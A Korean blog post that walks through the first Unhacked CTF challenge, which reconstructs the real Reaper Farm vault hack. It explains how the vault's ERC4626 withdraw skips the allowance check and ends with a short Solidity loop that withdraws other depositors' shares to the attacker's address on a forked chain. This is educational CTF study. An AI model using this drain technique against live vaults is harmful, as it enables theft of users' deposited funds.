최근 Web 3.0의 워게임들이 많이 늘어나고 있는 추세입니다.

얼마전 열렸던 paradigm CTF과 같이 Web 3.0 환경을 대상으로만 하는 대회도 점차 늘고 있습니다.

이번 주에 처음으로 공개된 Unhacked CTF의 문제를 함께 풀어보겠습니다.

Unhacked CTF

unhacked CTF는 매주 문제가 공개되는 CTF로 일반적인 CTF형식은 아니며 일종의 워게임의 형식을 띄고 있습니다.

실제 리얼월드에서 exploit 되었던 프로젝트의 코드를 제공하며 해당 코드를 분석해보고 실제 포크된 환경에서 exploit을 진행해보는 식으로 문제를 풀이하게 됩니다. 

이번주에 첫 문제가 공개되었고 해당 문제의 링크를 통해 확인할 수 있습니다.

개인적으로 굉장히 흥미로운 형태의 CTF이며 과연 이런 퀄리티의 문제들을 매주 제공 해 줄 수 있을까? 의문이 들기도 합니다. 앞으로 공개되는 매 문제들마다 풀이하고 포스팅 할 예정입니다.

 

Reaper farm

https://thelayer.xyz/reaper-farms-hack-recovery-plan-includes-oath-token-sale/

 

Reaper Farm’s Hack Recovery Plan Includes $OATH Token Sale - The Layer

Reaper Farm has released a recovery plan after it was exploited for $1.7 million on Monday, which includes a token sale of $OATH

thelayer.xyz

reaper farm은 fantom 네트워크 상의 defi 프로젝트로 지난 8월 2일 170만 달러의 해킹사고가 발생 하였습니다.

 

취약점

문제를 해결하기 위해선 총 400k이상의 dai를 훔쳐와야합니다.

먼저 해당 문제의 레포지토리를 clone하면 vault 컨트랙트를 확인할 수 있습니다.

https://github.com/unhackedctf/reaper

 

GitHub - unhackedctf/reaper

Contribute to unhackedctf/reaper development by creating an account on GitHub.

github.com

 

contract ReaperVaultV2 is IERC4626, ERC20, ReentrancyGuard, AccessControlEnumerable {
    using SafeERC20 for IERC20Metadata;
    using FixedPointMathLib for uint256;

해당 vault 는 vault 표준인 ERC4626을 상속받고 있습니다.

ERC4626은 최근에 fianlized 된 표준으로 이전까지는 여러 vault들이 자기만의 로직으로 작성되었습니다.

하지만 이제 최종적으로 표준화가 되었으므로 표준안에 따라야 하지만 몇몇 프로젝트들에서 ERC4626 표준을 잘 따르지 않아 취약점이 발생하는 경우가 있었습니다.

이번 프로젝트 또한 비슷한 실수를 하였고 코드를 보기에 앞서 ERC4626 표준의 withdraw를 보도록 하겠습니다.

https://eips.ethereum.org/EIPS/eip-4626 에서 표준안을 확인할 수 있습니다.

 withdraw
Burns shares from owner and sends exactly assets of underlying tokens to receiver.
MUST emit the Withdraw event.
MUST support a withdraw flow where the shares are burned from owner directly where owner is msg.sender.
MUST support a withdraw flow where the shares are burned from owner directly where msg.sender has EIP-20 approval over the shares of owner.
MAY support an additional flow in which the shares are transferred to the Vault contract before the withdraw execution, and are accounted for during withdraw.
SHOULD check msg.sender can spend owner funds, assets needs to be converted to shares and shares should be checked for allowance.
MUST revert if all of assets cannot be withdrawn (due to withdrawal limit being reached, slippage, the owner not having enough shares, etc).
Note that some implementations will require pre-requesting to the Vault before a withdrawal may be performed. Those methods should be performed separately.

SHOULD check msg.sender can spend owner funds, assets needs to be converted to shares and shares should be checked for allowance

withdraw 함수는 세가지 인자를 받게된다. 가장 먼저 'assets' withdraw할 수량, 다음으로는 'reciever' withdraw한 것을 받을 주소, 다음은 'owner' withdraw하는 자산의 주인.

이중 owner와 reciever가 같다면 자기 자산을 withdraw하는 것 이지만 상황에 따라 다른 사람의 자산을 withdraw할 수 도 있다. 이때는 withdraw하는 자산을 내가 withdraw할 수 있게 허용되어있는지 확인을 해야한다.

해당 프로젝트의 withdraw 함수를 보자.

    function withdraw(uint256 assets, address receiver, address owner) external nonReentrant returns (uint256 shares) {
        require(assets != 0, "please provide amount");
        shares = previewWithdraw(assets);
        _withdraw(assets, shares, receiver, owner);
        return shares;
    }

첫번째 인자인 수량으로 withdraw할 share를 계산하고 _withdraw로 넘겨주고 있다.

    function _withdraw(uint256 assets, uint256 shares, address receiver, address owner) internal returns (uint256) {
        _burn(owner, shares);

        if (assets > IERC20Metadata(asset).balanceOf(address(this))) {
            uint256 totalLoss = 0;
            uint256 queueLength = withdrawalQueue.length;
            uint256 vaultBalance = 0;
            
            for (uint256 i = 0; i < queueLength; i = _uncheckedInc(i)) {
                vaultBalance = IERC20Metadata(asset).balanceOf(address(this));
                if (assets <= vaultBalance) {
                    break;
                }

                address stratAddr = withdrawalQueue[i];
                uint256 strategyBal = strategies[stratAddr].allocated;
                if (strategyBal == 0) {
                    continue;
                }

                uint256 remaining = assets - vaultBalance;
                uint256 loss = IStrategy(stratAddr).withdraw(Math.min(remaining, strategyBal));
                uint256 actualWithdrawn = IERC20Metadata(asset).balanceOf(address(this)) - vaultBalance;

                // Withdrawer incurs any losses from withdrawing as reported by strat
                if (loss != 0) {
                    assets -= loss;
                    totalLoss += loss;
                    _reportLoss(stratAddr, loss);
                }

                strategies[stratAddr].allocated -= actualWithdrawn;
                totalAllocated -= actualWithdrawn;
            }

            vaultBalance = IERC20Metadata(asset).balanceOf(address(this));
            if (assets > vaultBalance) {
                assets = vaultBalance;
            }

            require(totalLoss <= ((assets + totalLoss) * withdrawMaxLoss) / PERCENT_DIVISOR, "Cannot exceed the maximum allowed withdraw slippage");
        }

        IERC20Metadata(asset).safeTransfer(receiver, assets);
        emit Withdraw(msg.sender, receiver, owner, assets, shares);
        return assets;
    }

첫 줄에 _burn으로 owner의 share를 소각하고 가장 아랫쪽에 asset을 safeTransfer로 receiver에게 전달하고 있다.

여기서 문제는 _burn에 있다. 아까 보았듯이 receiver와 owner가 다르면 owner의 share에 대해 사용 허가를 체크해야 하는데 전혀없다.

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

ERC20의 _burn을 보게되면 allowance체크등이 없기 때문에 burn을 호출하기 전에 체크를 진행했어야 한다. 하지만 없었기 때문에 receiver에 나의 주소를 넣고 owner에 임의의 주소를 넣는다면 owner가 가지고 있는 share를 소각하면서 자산은 나에게 전송되게 할 수 있는 것이다.

        targetAddress = [0xB573f01f2901c0dB3E14Ec80C6E12e4868DEC864, 0xfc83DA727034a487f031dA33D55b4664ba312f1D,0x954773dD09a0bd708D3C03A62FB0947e8078fCf9, 0xEB7a12fE169C98748EB20CE8286EAcCF4876643b];
        
        for(uint i=0;i<targetAddress.length;i++) {
            uint256 amount = reaper.balanceOf(targetAddress[i]);
            if(amount == 0) continue;
            reaper.withdraw(amount, address(this), targetAddress[i]);
        }

따라서 이렇게 해당 vault에 예치된 자산이 많은 주소들을 owner에 넣고 receiver에는 나의 주소를 넣은뒤 withdraw를 요청하면 owner의 자산이 나에게 인출되게 된다.

 

 

복사했습니다!